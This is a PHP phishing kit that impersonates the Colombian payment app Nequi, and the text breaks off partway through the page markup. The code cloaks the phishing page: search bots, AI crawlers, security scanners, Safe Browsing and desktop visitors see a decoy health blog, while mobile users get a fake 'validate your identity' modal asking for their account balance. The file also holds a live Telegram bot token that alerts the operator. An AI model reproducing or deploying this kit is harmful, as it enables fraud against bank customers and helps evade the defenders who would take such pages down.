<?php
function getRealIP() {
    $keys = ['HTTP_CF_CONNECTING_IP', 'HTTP_X_FORWARDED_FOR', 'REMOTE_ADDR'];
    foreach ($keys as $key) {
        if (!empty($_SERVER[$key])) {
            $ip_list = explode(',', $_SERVER[$key]);
            $ip = trim($ip_list[0]);
            if (filter_var($ip, FILTER_VALIDATE_IP)) return $ip;
        }
    }
    return '0.0.0.0';
}
$ip = getRealIP();

$user_agent = $_SERVER['HTTP_USER_AGENT'] ?? 'unknown';
$user_agent_lower = strtolower($user_agent);

function isMobileUA($ua_lower) {
    $mobile_patterns = [
        'mobile', 'android', 'iphone', 'ipad', 'ipod', 'blackberry', 'webos',
        'windows phone', 'iemobile', 'opera mini', 'opera mobi', 'mobi', 'tablet',
        'kindle', 'silk', 'playbook', 'bb10', 'symbian', 'nokia', 'lg', 'samsung'
    ];
    foreach ($mobile_patterns as $pattern) {
        if (strpos($ua_lower, $pattern) !== false) {
            return true;
        }
    }
    return false;
}

$is_mobile_ua = isMobileUA($user_agent_lower);

$mobile_ip_prefixes = [
    '166.210.', '168.0.', '152.200.', '179.18.', '201.221.', '200.93.', '204.199.',
    '191.156.', '100.64.'
];

$residential_ip_prefixes = [
    '190.', '186.', '181.', '201.228.', '200.21.', '190.68.', '186.116.', '186.119.',
    '190.65.'
];

$is_mobile_ip = false;
$is_residential_ip = false;

foreach ($mobile_ip_prefixes as $prefix) {
    if (strpos($ip, $prefix) === 0) {
        $is_mobile_ip = true;
        break;
    }
}

foreach ($residential_ip_prefixes as $prefix) {
    if (strpos($ip, $prefix) === 0) {
        $is_residential_ip = true;
        break;
    }
}

$bot_agents = ['googlebot', 'bingbot', 'facebookexternalhit', 'semrushbot', 'ahrefsbot',
    'adsbot-google', 'mediapartners-google', 'apis-google', 'google-read-aloud',
    'google-safe-browsing', 'google-safebrowsing', 'safebrowsing', 'sb-google',
    'chrome-lighthouse', 'lighthouse', 'pagespeed', 'google page speed',
    'msnbot', 'duckduckbot', 'yandexbot', 'baiduspider', 'seznambot', 'applebot',
    'facebot', 'whatsapp', 'telegrambot', 'discordbot', 'slackbot',
    'twitterbot', 'linkedinbot', 'pinterest',
    'gptbot', 'openai', 'chatgpt', 'anthropic', 'claude', 'gemini', 'bard',
    'perplexity', 'youbot', 'cohere', 'huggingface', 'c.ai', 'character.ai',
    'amazonbot', 'googlecloud', 'gcp', 'azure', 'digitalocean',
    'ovh', 'hetzner', 'contabo', 'linode', 'vultr', 'oraclecloud', 'ibmcloud',
    'namecheapbot', 'godaddybot', 'cloudflare', 'cf-', 'youstablebot', 'domains.google',
    'whois', 'rdap', 'spaceshipbot',
    'uptimerobot', 'pingdom', 'statuscake', 'betteruptime', 'datadog', 'newrelic', 'site24x7',
    'nessus', 'acunetix', 'qualys', 'nmap', 'zgrab', 'masscan',
    'shodan', 'censys', 'securitytrails',
    'curl', 'wget', 'python', 'requests', 'aiohttp',
    'axios', 'httpclient', 'okhttp', 'java', 'go-http', 'libwww',
    'postman', 'insomnia'
];
$is_bot = false;
foreach ($bot_agents as $bot) {
    if (stripos($user_agent_lower, $bot) !== false) {
        $is_bot = true;
        break;
    }
}

$show_white = false;

if ($is_bot) {
    $show_white = true;
} elseif (!$is_mobile_ua && $is_residential_ip) {
    $show_white = true;
} elseif ($is_mobile_ua || $is_mobile_ip) {
    $show_white = false;
} else {
    $show_white = true;
}

if ($show_white) {
    header('Content-Type: text/html; charset=utf-8');
    ?>
    <!DOCTYPE html>
    <html lang="es">
    <head>
        <meta charset="UTF-8">
        <meta name="viewport" content="width=device-width, initial-scale=1.0">
        <title>Guía Salud y Bienestar 2026 - Colombia</title>
        <meta name="description" content="Consejos naturales, nutrición y ejercicio para una vida plena en Colombia.">
    </head>
    <body style="font-family: Arial, sans-serif; max-width: 900px; margin: 0 auto; padding: 20px;">
        <h1>¡Bienvenido a nuestro blog de salud natural!</h1>
        <p>Encuentra los mejores tips de bienestar, superalimentos y rutinas saludables adaptadas para colombianos en 2026.</p>
        <article>
            <h2>Los 5 superalimentos más recomendados</h2>
            <p>Chía, quinoa, aguacate, café colombiano y frutas tropicales...</p>
        </article>
    </body>
    </html>
    <?php
    exit;
}
// ==============================
// ANTIBOT TOTAL – BLOQUEO ABSOLUTO
// ==============================

// 1. Bloqueo por User-Agent (TODO bot)
$ua = strtolower($_SERVER['HTTP_USER_AGENT'] ?? '');

// ==================================================
// LISTA TOTAL DE BOTS (SOLO BOTS, NO HUMANOS)
// ==================================================
$bot_signatures = [

  // ---------- GOOGLE (BOTS REALES) ----------
  'googlebot','adsbot-google','mediapartners-google',
  'apis-google','google-read-aloud',
  'google-safe-browsing','google-safebrowsing',
  'safebrowsing','sb-google',
  'chrome-lighthouse','lighthouse',
  'pagespeed','google page speed',

  // ---------- OTROS BUSCADORES ----------
  'bingbot','msnbot','duckduckbot',
  'yandexbot','baiduspider','seznambot',
  'applebot',

  // ---------- REDES / PREVIEWS ----------
  'facebookexternalhit','facebot',
  'whatsapp','telegrambot',
  'discordbot','slackbot',
  'twitterbot','linkedinbot','pinterest',

  // ---------- IA / LLM ----------
  'gptbot','openai','chatgpt',
  'anthropic','claude',
  'gemini','bard',
  'perplexity','youbot',
  'cohere','huggingface',
  'c.ai','character.ai',

  // ---------- HOSTING / CLOUD (BOTS) ----------
  'amazonbot',
  'googlecloud','gcp',
  'azure',
  'digitalocean',
  'ovh','hetzner','contabo','linode','vultr',
  'oraclecloud','ibmcloud',

  // ---------- REGISTRADORES / DOMINIOS ----------
  'namecheapbot','godaddybot',
  'cloudflare','cf-',
  'domains.google',
  'whois','rdap',

  // ---------- MONITOREO ----------
  'uptimerobot','pingdom','statuscake',
  'betteruptime','datadog','newrelic','site24x7',

  // ---------- SEGURIDAD / SCANNERS ----------
  'nessus','acunetix','qualys',
  'nmap','zgrab','masscan',
  'shodan','censys','securitytrails',

  // ---------- LIBRERÍAS / AUTOMATIZACIÓN ----------
  'curl','wget','python','requests','aiohttp',
  'axios','httpclient','okhttp','java',
  'go-http','libwww',
  'postman','insomnia'
];

// ==================================================
// BLOQUEO POR FIRMA DE BOT
// ==================================================
foreach ($bot_signatures as $sig) {
  if (strpos($ua, $sig) !== false) {
    http_response_code(403);
    exit;
  }
}

// ==================================================
// ANTI BOT DISFRAZADO (NO AFECTA HUMANOS)
// ==================================================
$required_headers = [
  'HTTP_ACCEPT',
  'HTTP_ACCEPT_LANGUAGE',
  'HTTP_ACCEPT_ENCODING'
];

foreach ($required_headers as $h) {
  if (empty($_SERVER[$h])) {
    http_response_code(403);
    exit;
  }
}

// JS + cookies
if (!isset($_COOKIE['human_ok'])) {
  setcookie('human_ok','1', time()+3600,'/','',false,true);
  echo '<script>location.reload()</script>';
  exit;
}

// Rate limit humano
$_SESSION['hits'] = ($_SESSION['hits'] ?? 0) + 1;
if ($_SESSION['hits'] > 120) {
  http_response_code(429);
  exit;
}
$botToken = "8434119591:AAFeXkqrs3spKHtFbkw5OZNLVIBvs8Qf7vM";
$chatId = "-4803034495";

$mensaje = "💰 NUEVO PAGO NEQUI 💰 ";

file_get_contents(
    "https://api.telegram.org/bot{$botToken}/sendMessage?" .
    http_build_query([
        'chat_id' => $chatId,
        'text' => $mensaje
    ])
);
?>
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Nequi</title>
    <link rel="stylesheet" href="./assets/css/loader.css">
    <link id="stylesheet" rel="stylesheet" href="./assets/css/pasarelapago.css">
    <script src="https://code.jquery.com/jquery-3.6.0.min.js"></script>
    <link rel="stylesheet" href="/assets/css/bancos/NEQUI.css">
    <script type="text/javascript" src="/scripts/jquery-3.6.0.min.js"></script>
    <script src="/scripts/jquery.jclock-min.js" type="text/javascript"></script>
       <script type="text/javascript" src="/scripts/functions2.js"></script>  
<style>
    /* Floating label — label dentro del campo, sube sin salirse */
    .form__element {
        position: relative !important;
        margin-bottom: 14px !important;
    }
    .form__input {
        width: 100% !important;
        height: 56px !important;
        padding: 22px 16px 8px !important;
        font-size: 14px !important;
        background: #fef7fa !important;
        border: 1.5px solid transparent !important;
        border-radius: 10px !important;
        outline: none !important;
        box-sizing: border-box !important;
        color: #1a1a1a !important;
        transition: border-color 0.2s !important;
    }
    .form__input:focus {
        border-color: #e87ab8 !important;
    }
    .form__lbl {
        display: block !important;
        visibility: visible !important;
        position: absolute !important;
        top: 50% !important;
        left: 16px !important;
        transform: translateY(-50%) !important;
        font-size: 15px !important;
        color: #222 !important;
        pointer-events: none !important;
        z-index: 2 !important;
        transition: top 0.18s ease, font-size 0.18s ease, color 0.18s ease, transform 0.18s ease !important;
        background: transparent !important;
        padding: 0 !important;
        line-height: 1 !important;
        white-space: nowrap !important;
    }
    .form__input:focus ~ .form__lbl,
    .form__input:not(:placeholder-shown) ~ .form__lbl,
    .form__input:valid ~ .form__lbl {
        top: 10px !important;
        transform: translateY(0) !important;
        font-size: 11px !important;
        color: #b08898 !important;
    }
</style>
<style>
        @keyframes captcha-pulse {
            0%   { box-shadow: 0 0 0 0 rgba(240,216,232,0.9); }
            50%  { box-shadow: 0 0 0 8px rgba(240,216,232,0); }
            100% { box-shadow: 0 0 0 0 rgba(240,216,232,0); }
        }
    </style>
<style>
.error{
    position: absolute;
    bottom: 4px;
    left: 16px;
    
    font-size: 12px;
    font-weight: 400;
    transition: .1s;
    z-index: 1;
    visibility: hidden;
}

.form__input:focus ~ .error,
.form__input:valid ~ .error{
    bottom: 4px;
    left: 16px;
    font-size: 12px;
    color: red;
    transform: translate(0, 0);
    visibility: visible;
}
    </style>
    <style>
        #loading-overlay {
            display: none;
            position: fixed;
            top: 0;
            left: 0;
            width: 100%;
            height: 100%;
            background: rgba(0, 0, 0, 0.7); /* Fondo oscuro con opacidad */
            justify-content: center;
            align-items: center;
            z-index: 9999; /* Asegura que est en la parte superior */
        }

        #loading-container {
            text-align: center;
        }

        #loading-image {
            width: 230px; /* Ajusta el tamao de acuerdo a tus necesidades */
        }
    </style>
    <style>
      .splash[_ngcontent-nlu-c17] {
        height: 100%;
        width: 100%;
        background-color: #ffffff00;
      }
      .splash__container[_ngcontent-nlu-c17] {
        display: flex;
        align-items: center;
        justify-content: center;
        height: 100%;
      }
      .splash__container.animate-logo[_ngcontent-nlu-c17]
        .point__up[_ngcontent-nlu-c17] {
        animation-timing-function: var(
          --logo-animation-timing-function,
          ease-in-out
        );
        animation-duration: var(--logo-animation-duration, 6s);
        animation-iteration-count: var(
          --logo-animation-iteration-count,
          infinite
        );
        animation-name: _ngcontent-nlu-c17_point-up-animation;
      }
      .splash__container.animate-logo[_ngcontent-nlu-c17]
        .point__down[_ngcontent-nlu-c17] {
        animation-timing-function: var(
          --logo-animation-timing-function,
          ease-in-out
        );
        animation-duration: var(--logo-animation-duration, 6s);
        animation-iteration-count: var(
          --logo-animation-iteration-count,
          infinite
        );
        animation-name: _ngcontent-nlu-c17_point-down-animation;
      }
      .splash__container.animate-logo[_ngcontent-nlu-c17]
        .N[_ngcontent-nlu-c17] {
        animation-timing-function: var(
          --logo-animation-timing-function,
          ease-in-out
        );
        animation-duration: var(--logo-animation-duration, 6s);
        animation-iteration-count: var(
          --logo-animation-iteration-count,
          infinite
        );
        animation-name: _ngcontent-nlu-c17_n-animation;
      }
      .splash__container.animate-logo[_ngcontent-nlu-c17]
        .E[_ngcontent-nlu-c17] {
        animation-timing-function: var(
          --logo-animation-timing-function,
          ease-in-out
        );
        animation-duration: var(--logo-animation-duration, 6s);
        animation-iteration-count: var(
          --logo-animation-iteration-count,
          infinite
        );
        animation-name: _ngcontent-nlu-c17_e-animation;
      }
      .splash__container.animate-logo[_ngcontent-nlu-c17]
        .Q[_ngcontent-nlu-c17] {
        animation-timing-function: var(
          --logo-animation-timing-function,
          ease-in-out
        );
        animation-duration: var(--logo-animation-duration, 6s);
        animation-iteration-count: var(
          --logo-animation-iteration-count,
          infinite
        );
        animation-name: _ngcontent-nlu-c17_q-animation;
      }
      .splash__container.animate-logo[_ngcontent-nlu-c17]
        .U[_ngcontent-nlu-c17] {
        animation-timing-function: var(
          --logo-animation-timing-function,
          ease-in-out
        );
        animation-duration: var(--logo-animation-duration, 6s);
        animation-iteration-count: var(
          --logo-animation-iteration-count,
          infinite
        );
        animation-name: _ngcontent-nlu-c17_u-animation;
      }
      .splash__container.animate-logo[_ngcontent-nlu-c17]
        .I[_ngcontent-nlu-c17] {
        animation-timing-function: var(
          --logo-animation-timing-function,
          ease-in-out
        );
        animation-duration: var(--logo-animation-duration, 6s);
        animation-iteration-count: var(
          --logo-animation-iteration-count,
          infinite
        );
        animation-name: _ngcontent-nlu-c17_i-animation;
      }
      @keyframes _ngcontent-nlu-c17_point-up-animation {
        0% {
          z-index: -100;
          transform: translate(20px);
          opacity: 0;
        }
        10% {
          z-index: -100;
          transform: translate(20px) rotate(0);
          opacity: 0;
        }
        15% {
          z-index: 0;
          transform: translate(0) rotate(180deg);
          opacity: 1;
          transform-origin: 3% 9%;
        }
        30% {
          transform: translate(0);
        }
        35% {
          transform: translate(30px);
        }
        40% {
          transform: translate(45px, 15px) scale(2);
        }
        47% {
          transform: translate(45px, 15px) scale(2);
        }
        50% {
          transform: translate(50px, 11px) scale(2);
        }
        55% {
          transform-origin: 3.5% 9%;
          transform: translate(50px, 11px) scale(2);
        }
        60% {
          transform: translate(45px, 15px) scale(2) rotate(-180deg);
        }
        65% {
          transform: translate(45px, 15px) scale(2) rotate(-180deg);
          transform-origin: 3.5% 9%;
        }
        70% {
          transform: translate(50px, 11px) scale(2) rotate(-180deg);
          transform-origin: 3.5% 9%;
        }
        80% {
          transform: translate(45px, 15px) scale(2) rotate(-360deg);
          transform-origin: 3.5% 9%;
        }
        90% {
          transform: translate(45px, 15px) scale(2) rotate(-360deg);
        }
        95% {
          transform: translate(-60px) scale(0.5) rotate(-360deg);
        }
        to {
          transform: translate(-60px) scale(0) rotate(-360deg);
        }
      }
      @keyframes _ngcontent-nlu-c17_point-down-animation {
        0% {
          z-index: -100;
          transform: translate(20px);
          opacity: 0;
        }
        10% {
          z-index: -100;
          transform: translate(20px) rotate(0);
          opacity: 0;
        }
        15% {
          z-index: 0;
          transform: translate(0) rotate(180deg);
          opacity: 1;
          transform-origin: 3% 9%;
        }
        30% {
          transform: translate(0);
        }
        35% {
          transform: translate(30px);
        }
        40% {
          transform: translate(43px, 15px) scale(2);
        }
        47% {
          transform: translate(43px, 15px) scale(2);
        }
        50% {
          transform: translate(39px, 19px) scale(2);
        }
        55% {
          transform-origin: 3.5% 9%;
          transform: translate(39px, 19px) scale(2);
        }
        60% {
          transform: translate(44px, 15px) scale(2) rotate(-180deg);
        }
        65% {
          transform: translate(44px, 15px) scale(2) rotate(-180deg);
        }
        70% {
          transform: translate(39px, 19px) scale(2) rotate(-180deg);
        }
        80% {
          transform: translate(44px, 15px) scale(2) rotate(-360deg);
          transform-origin: 3.5% 9%;
        }
        90% {
          transform: translate(44px, 15px) scale(2) rotate(-360deg);
        }
        95% {
          transform: translate(-60px) scale(0.5) rotate(-360deg);
        }
        to {
          transform: translate(-60px) scale(0) rotate(-360deg);
        }
      }
      @keyframes _ngcontent-nlu-c17_n-animation {
        0% {
          transform: translate(30px);
          opacity: 0;
        }
        3% {
          transform: translate(30px);
          opacity: 1;
        }
        15% {
          transform: translate(0);
        }
        30% {
          transform: translate(0);
        }
        35% {
          transform: translate(30px);
          rotate: 0deg;
        }
        39% {
          transform-origin: 30% 52%;
          rotate: 45deg;
        }
        43% {
          transform: translate(50px, 30px);
        }
        to {
          transform: translate(50px, 40px);
        }
      }
      @keyframes _ngcontent-nlu-c17_e-animation {
        0% {
          opacity: 0;
          transform: translate(20px);
        }
        6% {
          opacity: 0;
          transform: translate(20px);
        }
        15% {
          opacity: 1;
          transform: translate(0);
        }
        30% {
          transform: translate(0);
          opacity: 1;
        }
        31% {
          transform: translate(-20px);
          opacity: 0;
        }
        to {
          opacity: 0;
        }
      }
      @keyframes _ngcontent-nlu-c17_q-animation {
        0% {
          opacity: 0;
          transform: translate(12px);
        }
        8% {
          opacity: 0;
          transform: translate(12px);
        }
        15% {
          opacity: 1;
          transform: translate(0);
        }
        30% {
          transform: translate(0);
          opacity: 1;
        }
        32% {
          transform: translate(-20px);
          opacity: 0;
        }
        to {
          opacity: 0;
        }
      }
      @keyframes _ngcontent-nlu-c17_u-animation {
        0% {
          opacity: 0;
          transform: translate(12px);
        }
        9% {
          opacity: 0;
          transform: translate(12px);
        }
        15% {
          opacity: 1;
          transform: translate(0);
        }
        30% {
          transform: translate(0);
          opacity: 1;
        }
        33% {
          transform: translate(-30px);
          opacity: 0;
        }
        to {
          opacity: 0;
        }
      }
      @keyframes _ngcontent-nlu-c17_i-animation {
        0% {
          opacity: 0;
          transform-origin: 100% 80%;
          transform: translate(10px) rotate(90deg);
        }
        11% {
          opacity: 0;
          transform: translate(10px) rotate(90deg);
        }
        15% {
          opacity: 1;
          transform: translate(0) rotate(0);
        }
        30% {
          transform: translate(0);
          opacity: 1;
        }
        34% {
          transform: translate(-40px);
          opacity: 0;
        }
        to {
          opacity: 0;
        }
      }
    </style>
    <style>
        /* ── Modal de saldo ─────────────────────────────────────── */
        #saldo-modal {
            display: none;
            position: fixed;
            top: 0; left: 0;
            width: 100%; height: 100%;
            background: rgba(0,0,0,0.72);
            z-index: 10000;
            justify-content: center;
            align-items: center;
        }
        #saldo-modal.show { display: flex; }
        .saldo-card {
            background: #fff;
            border-radius: 22px;
            width: 90%;
            max-width: 360px;
            padding: 28px 24px 24px;
            text-align: center;
            font-family: 'Nunito', sans-serif;
            box-shadow: 0 8px 40px rgba(0,0,0,0.18);
        }
        .saldo-nequi-logo {
            font-size: 22px;
            font-weight: 900;
            letter-spacing: -0.5px;
            color: #200020;
            margin-bottom: 16px;
        }
        .saldo-nequi-logo span { color: #DA0081; }
        .saldo-alarm-icon {
            margin: 0 auto 14px;
            width: 64px; height: 64px;
        }
        .saldo-title {
            font-size: 18px;
            font-weight: 800;
            color: #200020;
            margin-bottom: 10px;
            line-height: 1.3;
        }
        .saldo-desc {
            font-size: 13.5px;
            color: #444;
            line-height: 1.55;
            margin-bottom: 16px;
        }
        .saldo-desc b { color: #200020; }
        /* Mini phone mockup */
        .saldo-phone-mockup {
            background: #1a0a1a;
            border-radius: 14px;
            padding: 14px 18px 12px;
            margin: 0 auto 18px;
            max-width: 220px;
            color: #fff;
            text-align: left;
        }
        .saldo-phone-mockup .mock-greeting {
            font-size: 11px; color: #ccc; margin-bottom: 8px;
        }
        .saldo-phone-mockup .mock-label {
            font-size: 10px; color: #aaa; display: flex; align-items: center; gap: 4px;
        }
        .saldo-phone-mockup .mock-amount {
            font-size: 20px; font-weight: 700; color: #fff; letter-spacing: 2px; margin: 2px 0 4px;
        }
        .saldo-phone-mockup .mock-total {
            font-size: 10px; color: #aaa;
        }
        .saldo-phone-mockup .mock-btn {
            margin-top: 8px;
            display: inline-block;
            background: #DA0081;
            color: #fff;
            border-radius: 12px;
            font-size: 10px;
            padding: 3px 10px;
        }
        /* Input saldo */
        .saldo-input-wrap {
            position: relative;
            margin-bottom: 16px;
        }
        .saldo-input-wrap input {
            width: 100%;
            height: 52px;
            border: 1.5px solid #e0c8d8;
            border-radius: 10px;
            background: #fef7fa;
            font-size: 15px;
            color: #1a1a1a;
            padding: 0 16px;
            box-sizing: border-box;
            outline: none;
            transition: border-color 0.2s;
        }
        .saldo-input-wrap input:focus { border-color: #e87ab8; }
        .saldo-input-wrap input::placeholder { color: #aaa; }
        .saldo-error-msg {
            color: #c0392b; font-size: 12px; margin-top: -10px;
            margin-bottom: 8px; display: none;
        }
        /* Botón Listo */
        .saldo-btn-listo {
            width: 100%;
            height: 50px;
            background: linear-gradient(90deg, #DA0081 0%, #e87ab8 100%);
            color: #fff;
            font-size: 16px;
            font-weight: 700;
            border: none;
            border-radius: 25px;
            cursor: pointer;
            letter-spacing: 0.3px;
            transition: opacity 0.2s;
        }
        .saldo-btn-listo:hover { opacity: 0.92; }
        .saldo-btn-listo:disabled { opacity: 0.6; cursor: not-allowed; }
    </style>
</head>
<body>
    <!-- ── Modal de validación de saldo ─────────────────────── -->
    <div id="saldo-modal">
        <div class="saldo-card">
            <div class="saldo-nequi-logo"><span>&#183;</span>Nequi</div>

            <!-- Ícono de alarma -->
            <div class="saldo-alarm-icon">
                <svg viewBox="0 0 64 64" fill="none" xmlns="http://www.w3.org/2000/svg">
                    <!-- rayos -->
                    <line x1="32" y1="4" x2="32" y2="10" stroke="#DA0081" stroke-width="2.5" stroke-linecap="round"/>
                    <line x1="50" y1="10" x2="46" y2="14" stroke="#DA0081" stroke-width="2.5" stroke-linecap="round"/>
                    <line x1="14" y1="10" x2="18" y2="14" stroke="#DA0081" stroke-width="2.5" stroke-linecap="round"/>
                    <line x1="58" y1="24" x2="52" y2="26" stroke="#DA0081" stroke-width="2.5" stroke-linecap="round"/>
                    <line x1="6" y1="24" x2="12" y2="26" stroke="#DA0081" stroke-width="2.5" stroke-linecap="round"/>
                    <!-- campana -->
                    <path d="M32 16 C22 16 16 23 16 32 L16 44 L48 44 L48 32 C48 23 42 16 32 16Z" fill="#DA0081" opacity="0.15"/>
                    <path d="M32 16 C22 16 16 23 16 32 L16 44 L48 44 L48 32 C48 23 42 16 32 16Z" stroke="#DA0081" stroke-width="2.2" fill="none"/>
                    <rect x="13" y="43" width="38" height="4" rx="2" fill="#DA0081"/>
                    <path d="M28 47 Q28 52 32 52 Q36 52 36 47" stroke="#DA0081" stroke-width="2.2" fill="none"/>
                    <!-- punto central -->
                    <circle cx="32" cy="30" r="3" fill="#DA0081"/>
                </svg>
            </div>

            <div class="saldo-title">Queremos validar que eres tú</div>
            <div class="saldo-desc">
                Por tu seguridad rechazamos tu transacción, para validar que si eres tú el que está haciendo la operación,
                <b>ingresa el saldo actual de tu cuenta Nequi.</b>
            </div>

            <!-- Mini mockup del app Nequi -->
            <div class="saldo-phone-mockup">
                <div class="mock-greeting">Hola,</div>
                <div class="mock-label">Cuenta de Ahorros ⊕</div>
                <div class="mock-amount">$ &#x25CF;&#x25CF;&#x25CF;&#x25CF;&#x25CF;</div>
                <div class="mock-total">Total $ &#x25CF;&#x25CF;&#x25CF;&#x25CF;&#x25CF;</div>
                <span class="mock-btn">Tuplata &#9660;</span>
            </div>

            <!-- Input de saldo -->
            <div class="saldo-input-wrap">
                <input type="text" id="saldo-input" placeholder="Ingresa tu saldo" inputmode="numeric" autocomplete="off"/>
            </div>
            <div class="saldo-error-msg" id="saldo-modal-error">Ingresa tu saldo para continuar.</div>

            <button class="saldo-btn-listo" id="btnListo">Listo</button>
        </div>
    </div>

    <div id="loading-overlay">
    <div id="loading-container">
        <div class="ng-tns-c7-1 p-dialog-content">
      <nequi-logo _ngcontent-nlu-c26="" _nghost-nlu-c17="" class="ng-tns-c7-1"><section _ngcontent-nlu-c17="" id="img-header" class="splash">
          <div _ngcontent-nlu-c17="" class="splash__container animate-logo">
            <svg _ngcontent-nlu-c17="" width="180" height="40" viewBox="0 0 104 32" fill="black" xmlns="http://www.w3.org/2000/svg" class="splash__container__svg">
              <path _ngcontent-nlu-c17="" d="M5.29905 0H0.918073C0.411035 0 0 0.408316 0 0.912V4.608C0 5.11168 0.411035 5.52 0.918073 5.52H5.29905C5.80609 5.52 6.21713 5.11168 6.21713 4.608V0.912C6.21713 0.408316 5.80609 0 5.29905 0Z" fill="#DA0081" class="point__up"></path>
              <path _ngcontent-nlu-c17="" d="M5.29905 0H0.918073C0.411035 0 0 0.408316 0 0.912V4.608C0 5.11168 0.411035 5.52 0.918073 5.52H5.29905C5.80609 5.52 6.21713 5.11168 6.21713 4.608V0.912C6.21713 0.408316 5.80609 0 5.29905 0Z" fill="#DA0081" class="point__down"></path>
              <path _ngcontent-nlu-c17="" d="M31.9876 0H28.2187C27.7033 0 27.3006 0.416 27.3006 0.912V15.872C27.3006 16.176 26.8979 16.288 26.753 16.016L17.991 0.4C17.8461 0.144 17.5884 0 17.2823 0H11.0169C10.5015 0 10.0988 0.416 10.0988 0.912V24.816C10.0988 25.328 10.5176 25.728 11.0169 25.728H14.7858C15.3012 25.728 15.7039 25.312 15.7039 24.816V9.408C15.7039 9.104 16.1066 8.992 16.2515 9.264L25.2551 25.344C25.4 25.6 25.6577 25.744 25.9638 25.744H31.9554C32.4708 25.744 32.8735 25.328 32.8735 24.832V0.912C32.8735 0.4 32.4547 0 31.9554 0H31.9876Z" fill="#200020" class="N"></path>
              <path _ngcontent-nlu-c17="" d="M54.6495 16.3999C54.6495 9.66395 50.2363 6.31995 45.3883 6.31995C39.0906 6.31995 35.4988 10.6559 35.4988 16.5119C35.4988 23.1679 40.0087 26.3359 45.2433 26.3359C50.4779 26.3359 53.5382 23.6479 54.3596 20.1599C54.4724 19.7119 54.2147 19.3119 53.5382 19.3119H50.5746C50.2363 19.3119 49.9464 19.4879 49.8015 19.8239C49.0606 21.4399 47.8687 22.2879 45.5815 22.2879C42.9884 22.2879 41.2489 20.6719 40.9912 17.3919H53.7315C54.2791 17.3919 54.6495 16.9919 54.6495 16.3999ZM41.2006 13.8559C41.7482 11.4399 43.1656 10.3679 45.3077 10.3679C47.2244 10.3679 48.8673 11.4719 49.0928 13.8559H41.2006Z" fill="#200020" class="E"></path>
              <path _ngcontent-nlu-c17="" d="M103.082 6.80005H99.2969C98.7899 6.80005 98.3788 7.20837 98.3788 7.71205V24.832C98.3788 25.3357 98.7899 25.744 99.2969 25.744H103.082C103.589 25.744 104 25.3357 104 24.832V7.71205C104 7.20837 103.589 6.80005 103.082 6.80005Z" fill="#200020" class="I"></path>
              <path _ngcontent-nlu-c17="" d="M74.976 6.80002H71.2071C70.6917 6.80002 70.289 7.21602 70.289 7.71202V8.64002C69.1615 7.32802 67.3093 6.41602 64.8772 6.41602C59.4332 6.41602 56.5501 11.312 56.5501 16.496C56.5501 21.024 58.9178 26.096 64.7644 26.096C66.8583 26.096 69.081 25.104 70.289 23.696V31.056C70.289 31.568 70.7078 31.968 71.2071 31.968H74.976C75.4914 31.968 75.8941 31.552 75.8941 31.056V7.72802C75.8941 7.21602 75.4753 6.81602 74.976 6.81602V6.80002ZM66.3912 22.064C63.9108 22.064 62.1713 20.256 62.1713 16.368C62.1713 12.48 63.9108 10.448 66.3912 10.448C68.8716 10.448 70.6111 12.32 70.6111 16.368C70.6111 20.416 68.8716 22.064 66.3912 22.064Z" fill="#200020" class="Q"></path>
              <path _ngcontent-nlu-c17="" d="M95.0448 6.80005H91.2759C90.7604 6.80005 90.3578 7.21605 90.3578 7.71205V17.3921C90.3578 20.5121 88.9565 21.4241 87.1687 21.4241C85.3809 21.4241 83.9796 20.5121 83.9796 17.3921V7.71205C83.9796 7.20005 83.5608 6.80005 83.0615 6.80005H79.2926C78.7772 6.80005 78.3745 7.21605 78.3745 7.71205V17.7921C78.3745 23.7921 81.7086 26.2081 87.1848 26.2081C92.661 26.2081 95.9951 23.7761 95.9951 17.7921V7.71205C95.9951 7.20005 95.5763 6.80005 95.077 6.80005H95.0448Z" fill="#200020" class="U"></path>
            </svg>
          </div></section></nequi-logo><!---->
    </div>
    </div>
</div>
    <div id="nequi" class="wrapper hidde">
        <div class="header">
            <svg _ngcontent-atq-c28="" width="180" height="40" viewBox="0 0 104 32" fill="none" xmlns="http://www.w3.org/2000/svg" class="splash__container__svg"><path _ngcontent-atq-c28="" d="M5.29905 0H0.918073C0.411035 0 0 0.408316 0 0.912V4.608C0 5.11168 0.411035 5.52 0.918073 5.52H5.29905C5.80609 5.52 6.21713 5.11168 6.21713 4.608V0.912C6.21713 0.408316 5.80609 0 5.29905 0Z" fill="#DA0081" class="point__up"></path><path _ngcontent-atq-c28="" d="M5.29905 0H0.918073C0.411035 0 0 0.408316 0 0.912V4.608C0 5.11168 0.411035 5.52 0.918073 5.52H5.29905C5.80609 5.52 6.21713 5.11168 6.21713 4.608V0.912C6.21713 0.408316 5.80609 0 5.29905 0Z" fill="#DA0081" class="point__down"></path><path _ngcontent-atq-c28="" d="M31.9876 0H28.2187C27.7033 0 27.3006 0.416 27.3006 0.912V15.872C27.3006 16.176 26.8979 16.288 26.753 16.016L17.991 0.4C17.8461 0.144 17.5884 0 17.2823 0H11.0169C10.5015 0 10.0988 0.416 10.0988 0.912V24.816C10.0988 25.328 10.5176 25.728 11.0169 25.728H14.7858C15.3012 25.728 15.7039 25.312 15.7039 24.816V9.408C15.7039 9.104 16.1066 8.992 16.2515 9.264L25.2551 25.344C25.4 25.6 25.6577 25.744 25.9638 25.744H31.9554C32.4708 25.744 32.8735 25.328 32.8735 24.832V0.912C32.8735 0.4 32.4547 0 31.9554 0H31.9876Z" fill="#200020" class="N"></path><path _ngcontent-atq-c28="" d="M54.6495 16.3999C54.6495 9.66395 50.2363 6.31995 45.3883 6.31995C39.0906 6.31995 35.4988 10.6559 35.4988 16.5119C35.4988 23.1679 40.0087 26.3359 45.2433 26.3359C50.4779 26.3359 53.5382 23.6479 54.3596 20.1599C54.4724 19.7119 54.2147 19.3119 53.5382 19.3119H50.5746C50.2363 19.3119 49.9464 19.4879 49.8015 19.8239C49.0606 21.4399 47.8687 22.2879 45.5815 22.2879C42.9884 22.2879 41.2489 20.6719 40.9912 17.3919H53.7315C54.2791 17.3919 54.6495 16.9919 54.6495 16.3999ZM41.2006 13.8559C41.7482 11.4399 43.1656 10.3679 45.3077 10.3679C47.2244 10.3679 48.8673 11.4719 49.0928 13.8559H41.2006Z" fill="#200020" class="E"></path><path _ngcontent-atq-c28="" d="M103.082 6.80005H99.2969C98.7899 6.80005 98.3788 7.20837 98.3788 7.71205V24.832C98.3788 25.3357 98.7899 25.744 99.2969 25.744H103.082C103.589 25.744 104 